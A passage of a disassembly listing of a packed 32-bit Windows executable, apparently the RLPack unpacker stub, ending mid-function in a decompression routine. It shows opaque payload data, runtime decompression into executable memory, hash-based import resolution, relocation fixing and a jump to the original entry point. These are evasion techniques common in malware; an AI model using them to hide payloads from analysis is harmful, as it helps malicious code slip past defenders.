		dd 53DABC9Ch, 11826840h, 4C6E0020h, 93E39769h, 1D8CF1E1h
		dd 33374AADh, 32D813FEh, 3688DB8h, 94DDA6D2h, 4CC240A7h
		dd 7AC2118Ch, 3C4C6F43h, 0D4BDF654h, 33C437D9h,	5FD5A6DDh
		dd 2473614Dh, 0C50A3BF4h, 0C1EA6FF7h, 0F7ACDF4h, 0E4C73174h
		dd 385E4FF3h, 259EB1EEh, 5651A40Fh, 73F6A718h, 0C1F37147h
		dd 2458E189h, 9EA7F30Ah, 8DF2B623h, 0C85B2AE0h,	308489E3h
		dd 2F957F24h, 0E0110006h, 7E4B6754h, 3286FF0h, 58F35FD2h
		dd 0F65815F9h, 69F6DC80h, 80F545D1h, 0F7002F02h, 3D95926h
		dd 677AF272h, 7DB17F3Dh, 316B646Dh, 0AF8C9239h,	98040DC8h
		dd 3A79B93Bh, 0AF5D942Dh, 0E021BB3h, 6985FD24h,	2772389Ah
		dd 0B66CE166h, 0C66AC708h, 0D84DFEF0h, 0EB5C938Eh, 0FB240DC8h
		dd 5D9605AAh, 0DBEC6DBAh, 9EE1F266h, 0EBB941DBh, 9335623h
		dd 303D202Bh, 0E54C7950h, 4DEF4C8Fh, 771CA65Fh,	0F52FC0C4h
		dd 43E838A3h, 84D9979Ch, 0D32A9FB7h, 0A7917652h, 28079FD9h
		dd 8C33E334h, 0C2B98644h, 0C3266576h, 0F486F7AAh, 6F8E838Ch
		dd 6879C749h, 0F3B8F58Fh, 3E26D3CCh, 0B7D2B9B3h, 5BF57388h
		dd 45D72EC4h, 7576A2h, 0FE9E5765h, 0ED615869h, 0BC05C75Fh
		dd 0DD6FCA89h, 0D855A06Ah, 0A62A2655h, 2C182E05h, 0DAFFF2A6h
		dd 315FF14h, 0FA667869h, 0CED1B1CFh, 0D7248B7Dh, 0A8136DF3h
		dd 61CC2A25h, 32AE28BAh, 0EFB6FCE1h, 0CD564968h, 299B9EBBh
		dd 90C815F2h, 0B45B45F9h, 5E310CB4h, 824AD7CEh,	3A846ACBh
		dd 4BBF1C8Fh, 46ED0EBCh, 0D5CAE09Eh, 9DB6BAA7h,	0F0A0F5B8h
		dd 0EA442F03h, 99CDCF56h, 0F55AEB7Bh, 4F2D348Ah, 6CAA3C4Fh
		dd 3271B187h, 0D782D57Ch, 0F7FCFA7h, 573A3EC7h,	1B5245Ch
		dd 7423E90h, 37224BABh,	0E57F0DEFh, 3A6FE538h, 22969894h
		dd 0FD18EE45h, 0EAE65F6Eh
		dd 27E242D7h, 1ACD4BEBh, 835B29F3h, 21C9FE87h, 0B2E8C3F3h
		dd 0B997690Bh, 74A18E8h, 74FA2329h, 1BA2F4ACh, 49BAE924h
		dd 3AFFDD9Ch, 19CAF73h,	0F69F4A4Eh, 99ED95BEh, 720F8792h
		dd 0A152FF06h, 185771B4h, 446E49CBh, 67528CF4h,	0A937ED58h
		dd 2F2A18AAh, 8E1C5B0Ch, 646F11AFh, 0E060B6C6h,	9F8EBE38h
		dd 986334B8h, 52831E1Ch, 0EFE616E4h, 1216AEBAh,	273311D6h
		dd 9CA20601h, 5F6B7558h, 0BD8DE56Eh, 7DA02464h,	17EB063Bh
		dd 0F61AA21Eh, 924D6D59h, 70027DE5h, 8D8B0D92h,	6FC4AB23h
		dd 0FE35EBF5h, 0B5866F40h, 0F1CE05D3h, 6B827BB4h, 9A4EAEBCh
		dd 0DDED5604h, 0D56D5951h, 6FA7AA19h, 0A2E96DF0h, 0E0890F94h
		dd 0B79AA2D1h, 0CE3D2B7Ah, 0E4BEDE04h, 0E1849924h, 0B31F50B9h
		dd 19F2BE3Ch, 0A946C3D6h, 86039220h, 3BC41ED2h,	0E18FEE63h
		dd 6B342D43h, 7755CF63h, 0C3EE5F05h, 0D36852B7h, 0BFE72324h
		dd 18BAFE5h, 0DFB18AA8h, 2DE163E4h, 0BC5E4169h,	3BFCD1F9h
		dd 85EE63EAh, 93A8B699h, 0A872106Dh, 0B7BBB6Bh,	0B1528F97h
		dd 2AAF51DDh, 0D3369916h, 86F77C3Eh, 0AA8C8E60h, 8949100Dh
		dd 0B43316Dh, 2FF8239h,	0C6BB0C03h, 0FCC05EEFh,	0DDF598Eh
		dd 9F41C65Ch, 4192D4EDh, 88C0D1B4h, 168D71EBh, 5815C897h
		dd 126FA6F5h, 0DCA54902h, 482B972h, 61305F29h, 0CA9EDF65h
		dd 0D01B43E2h, 84EBE054h, 0C737AFCCh, 202024F0h, 0F3E06981h
		dd 0F456E10Eh, 37376B65h, 0DD478734h, 8E1618E0h, 4F98A3ECh
		dd 823533CEh, 7A79002Fh, 8A28AD6h, 0D6C2FA3h, 0B5E12FB4h
		dd 360A16AEh, 3277869Bh, 9140BF3Eh, 8BAAA84h, 0CB80FE5Eh
		dd 0CAECFCEEh, 7598A456h, 3F3B9106h, 0DACE1039h, 0F3D945E9h
		dd 8032EE3Ch, 71D06204h, 0F0A68F69h, 0EB83F0C0h, 0A985AA38h
		dd 297C9F8Fh, 801D98B0h, 66690C7Ah, 1E2829ADh, 8C8930F4h
		dd 33F55FD9h, 822318D7h, 8AE29782h, 3E5109D5h, 11662BB5h
		dd 0FCB01867h, 0AA5122E5h, 24BFC870h, 0E4323522h, 0D8644035h
		dd 40952C4Ah, 8627C5E0h, 0F82D5D09h, 2FC3F1AAh,	5CE677A1h
		dd 0CC16F58Fh, 0A32ABD12h, 212A6955h, 555CD4C6h, 0A7E82522h
		dd 52453450h, 60CA50CEh, 26745D9Bh, 55B66F77h, 0DAAFF44Ah
		dd 0C421A6FDh, 0F203FFC5h, 9DB069E9h, 0CE1D50D6h, 0A048CDBFh
		dd 0D280D919h, 0EAB86CF7h, 34C9D29Bh, 0AC19DBF2h, 6CAFB982h
		dd 500D5511h, 0DEB649EEh, 61E9A88Eh, 0C871E327h, 0A9923C08h
		dd 21D70C6h, 0E4CF3814h, 0C4749D0Ah, 47292329h,	75FB6003h
		dd 0EA13B1DFh, 8E34C4EEh, 2EE8FAA3h, 1E85202Ah,	1CF1B3CCh
		dd 39D94004h, 0B320C52Ah, 345AC5C3h, 0A7E1ABBh,	993A7139h
		dd 31D4633Dh, 1884303Fh, 8908E8B8h, 91C1451Fh, 0CC1BFEC0h
		dd 0D71FD85Fh, 2D7ABBh,	8A678B1Fh, 8D4BA426h, 2CFDE2E4h
		dd 18611CA6h, 0A674AD18h, 7F0AD91Fh, 248D6CADh,	0DD6780B3h
		dd 0FABC59B2h, 5FCA909Fh, 0C45A3C2h, 0A3B60112h, 0E1BE1DC4h
		dd 8E3DDEh, 45FADB5Fh, 3D6468A9h, 0E6CAAB8Eh, 0FDD48F14h
		dd 75F9F265h, 0D357FFF8h, 0C2D4DA17h, 4DFAC0B0h, 597C4F43h
		dd 556A2B58h, 95DB63FBh, 2DA32F31h, 0AC5BF787h,	5FC6FFECh
		dd 8EDB522Bh, 499C12BEh, 6AC2B9BFh, 0CDFC7E42h,	728A007Bh
		dd 0F40B5202h, 67F39254h, 0FFFE2FAFh, 68DAB01Bh, 249DEFDDh
		dd 0D6B20ED9h, 0C417832Fh, 0C75894E4h, 0D4B14176h, 3D1F3FB5h
		dd 51D2D61Ah, 8F585464h, 263CE6CEh, 94E55CE0h, 6994214Ch
		dd 70782F3Fh, 3E52378Bh, 3999B542h, 0A2ACAA20h,	0B1CE0C6Eh
		dd 60BF9959h, 0AB215F7Eh, 0A17FA6A4h, 2A1D0BAAh, 0DAF665E7h
		dd 1B2C06D2h, 0D9F8FFCFh, 0F46Dh, 0
		dd 0A4F7FD6Fh, 63633E34h, 807FC4Bh, 0B7B03387h,	6863484Ah
		dd 4E3603D1h, 1DBB50DAh, 0FCEA4574h, 0AD3AC541h, 0EA1D711Ah
		dd 0D94F76E2h, 47A3A7EAh, 0A49016FCh, 0D70858E2h, 2809B09h
		dd 0F533D45Eh, 65226F8Fh, 0AA35F5AAh, 0B7175381h, 0A0B3E86h
		dd 4CBCD053h, 0F73E91DEh, 0D5271C70h, 0BD161428h, 0D4A9B7BFh
		dd 425EE606h, 28417752h, 2BC8B696h, 576051C6h, 0AF48D7B6h
		dd 0C46B8CC9h, 0C9600023h, 9E08E5E1h, 6236E9E7h, 4838BA7Ch
		dd 1D9B58F1h, 0E1C64A7Bh, 3B9AF677h, 9B1272C8h,	0B6A86EA9h
		dd 947B6243h, 0CE0E6C36h, 1F5BB7ADh, 0B257CE9h,	286C8094h
		dd 8D9605B2h, 0BBDD1BFFh, 5D04B5F1h, 0B2680139h, 746B18D0h
		dd 833A2AD6h, 68E95CE0h, 6A5C154h, 0A9DA16EBh, 2505B1F4h
		dd 2E02FB9h, 2DA9B9C3h,	0A41173BCh, 3CFE5ED0h, 0B7A0290Fh
		dd 0FA098244h, 1B29B66Ch, 9561D56Ah, 0FDCADA24h, 8C209834h
		dd 39263B48h, 75AC7647h, 0C2873028h, 7743553h, 90C00BB2h
		dd 1B99BA6Fh, 4A017CBCh, 0FEEECB2Eh, 0DE37F934h, 1065048Dh
		dd 0BA9E9A6Ah, 1B64B743h, 6E4CC924h, 0C829ABC2h, 7DC41E34h
		dd 0DC75A57Dh, 6C8FE77h, 4D8430DBh, 0B0EAC391h,	30E02035h
		dd 4ABC3213h, 3F73D279h, 0C429BB30h, 468A0EF7h,	0C7EC8C44h
		dd 0F14B2470h, 9BB3C99Ch, 3354297Ah, 0CE913F2Eh, 9B4784F0h
		dd 0F2C522C5h, 0E8544C50h, 0E71F8EF9h, 0F3F1CF92h, 0A732749Fh
		dd 206C7FFDh, 0F7B6F746h, 0E63409D4h, 0B13D8EC5h, 0A2E4B8EFh
		dd 94B2EF6Eh, 4D1DA4EAh, 3E51A19Eh, 1F148EE8h, 0B1F5E841h
		dd 783F5578h, 0DA6F4F98h, 2A75DCDAh, 45289896h,	7610760Fh
		dd 0DC33C8D4h, 0DCD69DCAh, 34EF625Fh, 3BB1E012h, 291C1510h
		dd 75C89FA6h, 28F2F5AEh, 846F9313h, 2F4D9039h, 49851B3Eh
		dd 0B307D99Bh, 73E4702Ch, 8DFA0B62h, 563D3180h,	95522E35h
		dd 2532EC2Ch, 29D0E273h, 4E616644h, 94F84FE1h, 3D598637h
		dd 293908ADh, 9D7C3BE1h, 1EF6087Fh, 741ED5FDh, 76DC0F86h
		dd 50EFA012h, 9E902974h, 4BA8FAC9h, 0CEDD0C58h,	985694E4h
		dd 3C9EDA17h, 9733D335h, 0E1D910CFh, 0D37F3149h, 0DFEF6346h
		dd 168EAE36h, 27514BB3h, 0A1B625F2h, 0C82AD99Dh, 0D576CC2h
		dd 0AEF3F96Fh, 75016803h, 0F1891628h, 0A478D02h, 0E88BC319h
		dd 0A70BDE6Ch, 0E94D9271h, 729B8EF0h, 18D2379Fh, 75252CB9h
		dd 0D3289661h, 56E7804Ah, 0EEA35AB0h, 2E12260Dh, 34B95CA2h
		dd 8ABB30BCh, 0FAEED9F3h, 0FFC0DDB6h, 0D0CD3EBAh, 0
		dd 586C0000h, 796937F4h, 0FCE83A75h, 0CEA0B7A6h, 0A104B20Bh
		dd 0FA66993Ah, 6D8FBB6Ah, 9548BC81h, 0DF5E9BA8h, 0DD9683E4h
		dd 0F11FE1F4h, 224077BBh, 7FFFE27Bh, 9E9BE3C4h,	909F8E02h
		dd 18102FD3h, 0D31EEB5Eh, 7554350h, 1500AB3Bh, 0D24217FDh
		dd 0BFFF47BAh, 46A141C4h, 0F37099C9h, 714671D0h, 80BFC2AEh
		dd 0F1C8409Ah, 90701770h, 77E01C68h, 0E942CF77h, 3B110269h
		dd 0B8612948h, 8FDCBF4Ah, 178AA404h, 0F85BE651h, 2773AE9Fh
		dd 5258D97Dh, 0A38624BEh, 3AB8C83Bh, 4760C436h,	90388ED2h
		dd 0B1C7ACAFh, 409B3466h, 0CD3A48E2h, 4B90BB97h, 21E4A4DEh
		dd 0F2FD6D4Eh, 55CFA2BBh, 0FF262C85h, 0B9F84F6Fh, 0CCFB48CCh
		dd 279CCC7Dh, 0D5C33E4Fh, 9DA2787Eh, 0CA7C11E1h, 7C62B8E8h
		dd 6AD83D0Fh, 0CB332461h, 0BACB0B68h, 23F2FDB8h, 2FDCF92Fh
		dd 5A77E5E4h, 9DC1934Ch, 643EB57Eh, 7748863Bh, 509D6360h
		dd 7D9E1F44h, 0DC6201F2h, 72694A40h, 88859C37h,	9F65C92Fh
		dd 0F88A72CFh, 95D5BE63h, 83197DB3h, 1CD7C885h,	0FF3F3D7Bh
		dd 0CA7736E3h, 0B0025BE3h, 5A4727AFh, 1FED00F7h, 18A30331h
		dd 209E59B8h, 0E883D7C6h, 0FDA49C92h, 0CB17B07Bh, 0FD95FC45h
		dd 4C03381Eh, 0C08085B4h, 6F5C7A57h, 8937F9Bh, 0D2E0D447h
		dd 4808352Ch, 4258FFBFh, 72619BE1h, 64F5F81Ch, 0F68046ABh
		dd 10124C81h, 0D963BC80h, 26EB312Eh, 711D3A8Ah,	114EB6B2h
		dd 3E835D9h, 0DD7FF378h, 6030072Dh, 3BD991FDh, 2E3B00FCh
		dd 7881DF9Eh, 724C4E47h, 6F6FC096h, 3E2DE7F5h, 7A16A8EBh
		dd 7331CD5h, 0EA6417E7h, 9748AAA8h, 0FC96259Dh,	0D95D8E62h
		dd 117B3FF1h, 7EE08DB2h, 45568AFFh, 34D6EFA3h, 0AB3F9DEAh
		dd 39A5D545h, 0E54DC785h, 0AB4A908Fh, 1D5BD743h, 0B9274DCh
		dd 0E17D8188h, 0A9800113h, 7DCB4739h, 9E4A341Bh, 9EA0F74Dh
		dd 9C9F77B5h, 39D10A25h, 0AB3CF2F1h, 82CA65F8h,	5BD678EBh
		dd 256BAEC8h, 59EA4A57h, 0A56B4C38h, 83DE0D0Ah,	9D3DCDCBh
		dd 0C884A9A1h, 7F17B4B8h, 25C8114Ch, 0BFE83AE3h, 0A9302F16h
		dd 4C629CCCh, 82AEFACCh, 9A3DEFE8h, 0AE4ACE2h, 0EBF80E60h
		dd 0DC226055h, 20C9CE83h, 0EDAD82E4h, 1DFF3917h, 5EF5EF6Ch
		dd 50FEC858h, 1023h
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		call	$+5
		mov	ebp, [esp+24h+var_24]
		add	esp, 4
		cmp	[esp+20h+arg_4], 1
		jnz	short loc_51E149
		mov	eax, [esp+20h+arg_0]
		mov	[ebp+0C9Ch], eax
		jmp	short loc_51E155
; ---------------------------------------------------------------------------


loc_51E149:				; CODE XREF: start+11j
		mov	eax, [ebp+0C98h]
		mov	[ebp+0C9Ch], eax


loc_51E155:				; CODE XREF: start+1Dj
		lea	esi, [ebp+0CC4h]
		lea	ebx, [ebp+482h]
		xor	edi, edi
		push	40h
		push	1000h
		push	0C2000h
		push	0
		call	dword ptr [ebp+0C2Dh]
		mov	[ebp+0C94h], eax
		call	sub_51E2DB
		jmp	short loc_51E1A4
; ---------------------------------------------------------------------------


loc_51E184:				; CODE XREF: start+7Ej
		pusha
		mov	eax, [ebp+0C9Ch]
		push	dword ptr [ebp+0C94h]
		push	dword ptr [edi+esi]
		add	[esp+2Ch+var_2C], eax
		push	dword ptr [edi+esi+4]
		add	[esp+30h+var_30], eax
		call	ebx
		popa
		add	edi, 8


loc_51E1A4:				; CODE XREF: start+58j
		cmp	dword ptr [edi+esi], 0
		jnz	short loc_51E184
		cmp	dword ptr [ebp+0CA8h], 0
		jz	short loc_51E1C1
		cmp	dword ptr [ebp+0CACh], 0
		jz	short loc_51E1C1
		call	sub_51E3B3


loc_51E1C1:				; CODE XREF: start+87j	start+90j
		lea	esi, [edi+esi+4]
		push	ebx
		push	40h
		push	1000h
		push	157h
		push	0
		call	dword ptr [ebp+0C2Dh]
		mov	[ebp+0CC0h], eax
		pop	ebx
		pusha
		push	dword ptr [ebp+0C94h]
		push	esi
		push	dword ptr [ebp+0CC0h]
		call	ebx
		popa
		mov	esi, [ebp+0CC0h]
		mov	eax, esi
		jmp	short loc_51E1FD
; ---------------------------------------------------------------------------


loc_51E1FC:				; CODE XREF: start+D6j
		inc	eax


loc_51E1FD:				; CODE XREF: start+D0j
		cmp	byte ptr [eax],	1
		jnz	short loc_51E1FC
		inc	eax
		mov	edi, [eax]
		add	edi, [ebp+0C9Ch]
		add	eax, 4
		mov	[ebp+0CBCh], eax
		jmp	short loc_51E288
; ---------------------------------------------------------------------------


loc_51E216:				; CODE XREF: start+161j
		push	esi
		call	dword ptr [ebp+0C25h]
		or	eax, eax
		jnz	short loc_51E226
		call	sub_51E50C


loc_51E226:				; CODE XREF: start+F5j
		test	eax, eax
		jz	loc_51E2D9
		mov	[ebp+0CB8h], eax
		mov	eax, esi
		jmp	short loc_51E266
; ---------------------------------------------------------------------------


loc_51E238:				; CODE XREF: start+13Fj
		mov	eax, [ebp+0CBCh]
		mov	eax, [eax]
		push	eax
		push	dword ptr [ebp+0CB8h]
		call	sub_51E47A
		test	eax, eax
		jz	loc_51E2D9
		mov	[edi], eax
		add	dword ptr [ebp+0CBCh], 4
		add	edi, 4
		mov	eax, [ebp+0CBCh]


loc_51E266:				; CODE XREF: start+10Cj
		cmp	dword ptr [eax], 0
		jnz	short loc_51E238
		jmp	short loc_51E26E
; ---------------------------------------------------------------------------


loc_51E26D:				; CODE XREF: start+147j
		inc	esi


loc_51E26E:				; CODE XREF: start+141j
		cmp	byte ptr [esi],	0
		jnz	short loc_51E26D
		inc	esi
		add	eax, 4
		mov	edi, [eax]
		add	edi, [ebp+0C9Ch]
		add	eax, 4
		mov	[ebp+0CBCh], eax


loc_51E288:				; CODE XREF: start+EAj
		cmp	byte ptr [esi],	1
		jnz	short loc_51E216
		push	4000h
		push	157h
		push	dword ptr [ebp+0CC0h]
		call	dword ptr [ebp+0C31h]
		push	8000h
		push	0
		push	dword ptr [ebp+0CC0h]
		call	dword ptr [ebp+0C31h]
		push	8000h
		push	0
		push	dword ptr [ebp+0C94h]
		call	dword ptr [ebp+0C31h]
		call	sub_51E32F
		call	sub_51E42F
		popa
		jmp	sub_402EE0
; ---------------------------------------------------------------------------


loc_51E2D9:				; CODE XREF: start+FEj	start+124j
		popa
		retn
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_51E2DB	proc near		; CODE XREF: start+53p
		pusha
		lea	eax, [ebp+0C90h]
		push	eax
		push	40h
		push	200h
		push	dword ptr [ebp+0C9Ch]
		call	dword ptr [ebp+0C35h]
		mov	dword ptr [ebp+0C90h], 2040001h
		mov	eax, [ebp+0C9Ch]
		add	eax, [eax+3Ch]
		add	ax, [eax+14h]
		add	eax, 18h
		mov	ebx, [eax+0Ch]
		add	ebx, [ebp+0C9Ch]
		mov	ecx, [eax+8]
		lea	eax, [ebp+0C90h]
		push	eax
		push	40h
		push	ecx
		push	ebx
		call	dword ptr [ebp+0C35h]
		popa
		retn
sub_51E2DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_51E32F	proc near		; CODE XREF: start+19Fp

var_24		= dword	ptr -24h

		pusha
		mov	esi, [ebp+0CA0h]
		or	esi, esi
		jz	short loc_51E3B1
		mov	edi, [ebp+0C98h]
		mov	eax, [ebp+0C9Ch]
		cmp	eax, edi
		jz	short loc_51E3B1
		add	esi, eax
		jmp	short loc_51E3AC
; ---------------------------------------------------------------------------


loc_51E34E:				; CODE XREF: sub_51E32F+80j
		mov	edx, [esi]
		mov	eax, [esi+4]
		mov	[ebp+0CA4h], eax
		add	[ebp+0CA4h], esi
		mov	ebx, [ebp+0C9Ch]
		xor	ecx, ecx
		add	esi, 8
		jmp	short loc_51E3A4
; ---------------------------------------------------------------------------


loc_51E36C:				; CODE XREF: sub_51E32F+7Bj
		movzx	eax, byte ptr [esi]
		cmp	al, 0E0h
		jnb	short loc_51E387
		push	eax
		add	eax, edx
		add	eax, ebx
		add	eax, ecx
		add	ecx, [esp+24h+var_24]
		add	esp, 4
		sub	[eax], edi
		add	[eax], ebx
		inc	esi
		jmp	short loc_51E3A4
; ---------------------------------------------------------------------------


loc_51E387:				; CODE XREF: sub_51E32F+42j
		movzx	eax, word ptr [esi]
		xchg	al, ah
		sub	ax, 0E000h
		push	eax
		add	eax, edx
		add	eax, ebx
		add	eax, ecx
		add	ecx, [esp+24h+var_24]
		add	esp, 4
		sub	[eax], edi
		add	[eax], ebx
		add	esi, 2


loc_51E3A4:				; CODE XREF: sub_51E32F+3Bj
					; sub_51E32F+56j
		cmp	esi, [ebp+0CA4h]
		jb	short loc_51E36C


loc_51E3AC:				; CODE XREF: sub_51E32F+1Dj
		cmp	dword ptr [esi], 0
		jnz	short loc_51E34E


loc_51E3B1:				; CODE XREF: sub_51E32F+9j
					; sub_51E32F+19j
		popa
		retn
sub_51E32F	endp


; =============== S U B	R O U T	I N E =======================================



sub_51E3B3	proc near		; CODE XREF: start+92p
		pusha
		mov	esi, [ebp+0CA8h]
		add	esi, [ebp+0C9Ch]
		mov	edi, esi
		mov	ecx, [ebp+0CACh]
		cmp	dword ptr [ebp+0CB0h], 0
		jz	short loc_51E405
		jmp	short loc_51E3FE
; ---------------------------------------------------------------------------


loc_51E3D3:				; CODE XREF: sub_51E3B3+4Ej
		cmp	byte ptr [esi],	0E8h
		jz	short loc_51E3DD
		cmp	byte ptr [esi],	0E9h
		jnz	short loc_51E3FC


loc_51E3DD:				; CODE XREF: sub_51E3B3+23j
		mov	eax, [esi+1]
		cmp	al, [ebp+0CB0h]
		jnz	short loc_51E3F6
		mov	al, 0
		bswap	eax
		sub	eax, 5
		add	eax, edi
		sub	eax, esi
		mov	[esi+1], eax


loc_51E3F6:				; CODE XREF: sub_51E3B3+33j
		add	esi, 4
		sub	ecx, 4


loc_51E3FC:				; CODE XREF: sub_51E3B3+28j
		inc	esi
		dec	ecx


loc_51E3FE:				; CODE XREF: sub_51E3B3+1Ej
		cmp	ecx, 0
		ja	short loc_51E3D3
		jmp	short loc_51E42D
; ---------------------------------------------------------------------------


loc_51E405:				; CODE XREF: sub_51E3B3+1Cj
		cdq
		jmp	short loc_51E428
; ---------------------------------------------------------------------------


loc_51E408:				; CODE XREF: sub_51E3B3+78j
		inc	edx
		cmp	byte ptr [esi],	0E8h
		jz	short loc_51E413
		cmp	byte ptr [esi],	0E9h
		jnz	short loc_51E426


loc_51E413:				; CODE XREF: sub_51E3B3+59j
		mov	eax, [esi+1]
		bswap	eax
		sub	eax, edx
		mov	[esi+1], eax
		add	esi, 4
		add	edx, 4
		sub	ecx, 4


loc_51E426:				; CODE XREF: sub_51E3B3+5Ej
		inc	esi
		dec	ecx


loc_51E428:				; CODE XREF: sub_51E3B3+53j
		cmp	ecx, 0
		ja	short loc_51E408


loc_51E42D:				; CODE XREF: sub_51E3B3+50j
		popa
		retn
sub_51E3B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_51E42F	proc near		; CODE XREF: start+1A4p
		pusha
		mov	esi, [ebp+0CA0h]
		mov	esi, [ebp+0C9Ch]
		add	esi, [esi+3Ch]
		mov	esi, [esi+0C0h]
		or	esi, esi
		jz	short loc_51E478
		add	esi, [ebp+0C9Ch]
		add	esi, 0Ch
		mov	esi, [esi]
		or	esi, esi
		jz	short loc_51E478
		mov	eax, [esi]
		jmp	short loc_51E474
; ---------------------------------------------------------------------------


loc_51E45C:				; CODE XREF: sub_51E42F+47j
		push	esi
		cmp	dword ptr [eax], 0
		jz	short loc_51E46E
		push	0
		push	1
		push	dword ptr [ebp+0C9Ch]
		call	eax


loc_51E46E:				; CODE XREF: sub_51E42F+31j
		pop	esi
		add	esi, 4
		mov	eax, [esi]


loc_51E474:				; CODE XREF: sub_51E42F+2Bj
		or	eax, eax
		jnz	short loc_51E45C


loc_51E478:				; CODE XREF: sub_51E42F+18j
					; sub_51E42F+27j
		popa
		retn
sub_51E42F	endp


; =============== S U B	R O U T	I N E =======================================



sub_51E47A	proc near		; CODE XREF: start+11Dp sub_51E50C+14p

var_4		= dword	ptr -4
arg_0		= byte ptr  4

		lea	eax, [esp+arg_0]
		pusha
		mov	esi, eax
		mov	eax, [esi+4]
		rol	eax, 8
		cmp	al, 80h
		jnz	short loc_51E4A9
		ror	eax, 8
		xor	eax, 80000000h
		cmp	eax, 10000h
		jbe	short loc_51E4B6
		xor	eax, 80000000h
		push	eax
		push	dword ptr [esi]
		call	sub_51E4C7
		jmp	short loc_51E4B6
; ---------------------------------------------------------------------------


loc_51E4A9:				; CODE XREF: sub_51E47A+Fj
		ror	eax, 8
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_51E4C7


loc_51E4B6:				; CODE XREF: sub_51E47A+1Ej
					; sub_51E47A+2Dj
		push	eax
		push	dword ptr [esi]
		call	dword ptr [ebp+0C29h]
		mov	[esp+20h+var_4], eax
		popa
		retn	8
sub_51E47A	endp


; =============== S U B	R O U T	I N E =======================================



sub_51E4C7	proc near		; CODE XREF: sub_51E47A+28p
					; sub_51E47A+37p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebx, [esp+20h+arg_0]
		mov	ecx, ebx
		add	ebx, [ebx+3Ch]
		mov	ebx, [ebx+78h]
		add	ebx, ecx
		mov	edi, [ebx+20h]
		add	edi, ecx
		xor	esi, esi


loc_51E4DD:				; CODE XREF: sub_51E4C7+34j
		lea	edx, [edi+esi*4]
		mov	edx, [edx]
		add	edx, ecx
		xor	eax, eax


loc_51E4E6:				; CODE XREF: sub_51E4C7+28j
		rol	eax, 7
		xor	al, [edx]
		inc	edx
		cmp	byte ptr [edx],	0
		jnz	short loc_51E4E6
		cmp	eax, [esp+20h+arg_4]
		jz	short loc_51E4FD
		inc	esi
		cmp	esi, [ebx+18h]
		jb	short loc_51E4DD


loc_51E4FD:				; CODE XREF: sub_51E4C7+2Ej
		lea	edx, [edi+esi*4]
		mov	edx, [edx]
		add	edx, ecx
		mov	[esp+20h+var_4], edx
		popa
		retn	8
sub_51E4C7	endp


; =============== S U B	R O U T	I N E =======================================



sub_51E50C	proc near		; CODE XREF: start+F7p

arg_4		= dword	ptr  8

		pusha
		lea	eax, [ebp+0C18h]
		push	eax
		call	dword ptr [ebp+0C25h]
		push	774393E8h
		push	eax
		call	sub_51E47A
		mov	edi, eax
		push	40h
		push	1000h
		push	104h
		push	0
		call	dword ptr [ebp+0C2Dh]
		mov	[ebp+0CB4h], eax
		push	104h
		push	dword ptr [ebp+0CB4h]
		cmp	dword ptr [ebp+0C9Ch], 0
		jz	short loc_51E55D
		push	dword ptr [ebp+0C9Ch]
		jmp	short loc_51E563
; ---------------------------------------------------------------------------


loc_51E55D:				; CODE XREF: sub_51E50C+47j
		push	dword ptr [ebp+0C98h]


loc_51E563:				; CODE XREF: sub_51E50C+4Fj
		call	edi
		mov	eax, [ebp+0CB4h]
		jmp	short loc_51E56E
; ---------------------------------------------------------------------------


loc_51E56D:				; CODE XREF: sub_51E50C+65j
		inc	eax


loc_51E56E:				; CODE XREF: sub_51E50C+5Fj
		cmp	byte ptr [eax],	0
		jnz	short loc_51E56D
		jmp	short loc_51E579
; ---------------------------------------------------------------------------


loc_51E575:				; CODE XREF: sub_51E50C+70j
		mov	byte ptr [eax],	0
		dec	eax


loc_51E579:				; CODE XREF: sub_51E50C+67j
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_51E575
		inc	eax
		jmp	short loc_51E588
; ---------------------------------------------------------------------------


loc_51E581:				; CODE XREF: sub_51E50C+7Fj
		movzx	ebx, byte ptr [esi]
		mov	[eax], bl
		inc	esi
		inc	eax


loc_51E588:				; CODE XREF: sub_51E50C+73j
		cmp	byte ptr [esi],	0
		jnz	short loc_51E581
		push	dword ptr [ebp+0CB4h]
		call	dword ptr [ebp+0C25h]
		mov	[esp+14h+arg_4], eax
		push	8000h
		push	0
		push	dword ptr [ebp+0CB4h]
		call	dword ptr [ebp+0C31h]
		popa
		retn
sub_51E50C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		xor	eax, eax
		inc	eax
		mov	edi, [ebp+10h]
		mov	[ebp-14h], eax
		mov	[ebp-1Ch], eax
		mov	[ebp-18h], eax
		mov	[ebp-28h], eax
		mov	eax, 400h
		xor	edx, edx
		mov	ecx, 30736h
		rep stosd
		mov	eax, [ebp+0Ch]
		push	5
		mov	[ebp-8], eax
		mov	[ebp-10h], edx
		mov	[ebp-1], dl
		mov	[ebp-0Ch], edx
		mov	[ebp+0Ch], edx
		or	eax, 0FFFFFFFFh
		pop	ecx


loc_51E5F0:				; CODE XREF: .RLPack:0051E605j
		mov	esi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	edx, 8
		or	edx, esi
		inc	dword ptr [ebp-8]
		dec	ecx
		mov	[ebp+0Ch], edx
		jnz	short loc_51E5F0


loc_51E607:				; CODE XREF: .RLPack:0051E799j
					; .RLPack:0051E7A8j ...
		mov	esi, [ebp-10h]
		mov	ecx, [ebp-0Ch]
		mov	edx, [ebp+10h]
		and	esi, 3
		shl	ecx, 4
		add	ecx, esi
		cmp	eax, 1000000h
		lea	edi, [edx+ecx*4]
		jnb	short loc_51E639
		mov	edx, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edx, byte ptr [edx]
		shl	ecx, 8
		or	ecx, edx
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_51E639:				; CODE XREF: .RLPack:0051E620j
		mov	ecx, [edi]
		mov	ebx, eax
		shr	ebx, 0Bh
		imul	ebx, ecx
		cmp	[ebp+0Ch], ebx
		jnb	loc_51E7B6
		mov	esi, 800h
		sub	esi, ecx
		shr	esi, 5
		add	esi, ecx
